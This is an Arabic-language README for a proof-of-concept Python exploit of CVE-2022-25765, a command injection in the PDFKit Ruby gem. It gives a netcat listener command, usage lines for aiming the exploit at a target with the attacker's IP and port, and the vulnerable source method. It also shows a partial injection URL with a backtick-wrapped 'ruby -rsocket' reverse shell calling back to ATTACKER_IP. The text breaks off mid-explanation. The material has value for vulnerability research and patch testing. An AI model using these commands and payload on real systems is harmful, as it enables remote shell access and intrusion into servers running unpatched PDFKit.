
استغلال PoC بلغة Python لـ CVE-2022-25765، حقن أوامر حرج في PDFKit. يولد قشرة عكسية عبر معلمات URL غير معقمة تمر إلى wkhtmltopdf. يتضمن تعليمات الاستخدام وتحليل الثغرة الفني.
استغلال PoC صغير لـ CVE-2022-25765، PDFkit-CMD-Injection
ابدأ مستمع netcat على جهاز الهجوم:
nc -lvnp 4444
قم بتشغيل الاستغلال:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
مثال:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
المعلمات:
-t, --target: عنوان URL الهدف الذي يشغل PDFKit الثغرة-l, --lhost: عنوان IP الخاص بك لاتصال الصدفة العكسية-p, --lport: المنفذ الخاص بك لاتصال الصدفة العكسية (يجب أن يتطابق مع مستمع netcat الخاص بك)معرف CVE: CVE-2022-25765 درجة CVSS v3.1: 9.8 (حرجة) درجة EPSS: 71.381% (المئين 99) CWE: CWE-77 - معالجة غير صحيحة للعناصر الخاصة المستخدمة في أمر
PDFKit هو جوهرة Ruby تقوم بتحويل HTML إلى PDF باستخدام أداة سطر الأوامر wkhtmltopdf. توجد الثغرة في كيفية تعامل PDFKit مع معاملات URL قبل تمريرها إلى أوامر الصدفة النظامية لتوليد PDF.
توجد الثغرة في lib/pdfkit/source.rb حيث يتم تنفيذ تنقية URL بشكل غير صحيح:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
المشكلة:
متجه الهجوم:
يستغل هذا الـPoC الثغرة عن طريق:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'على النظام الهدف: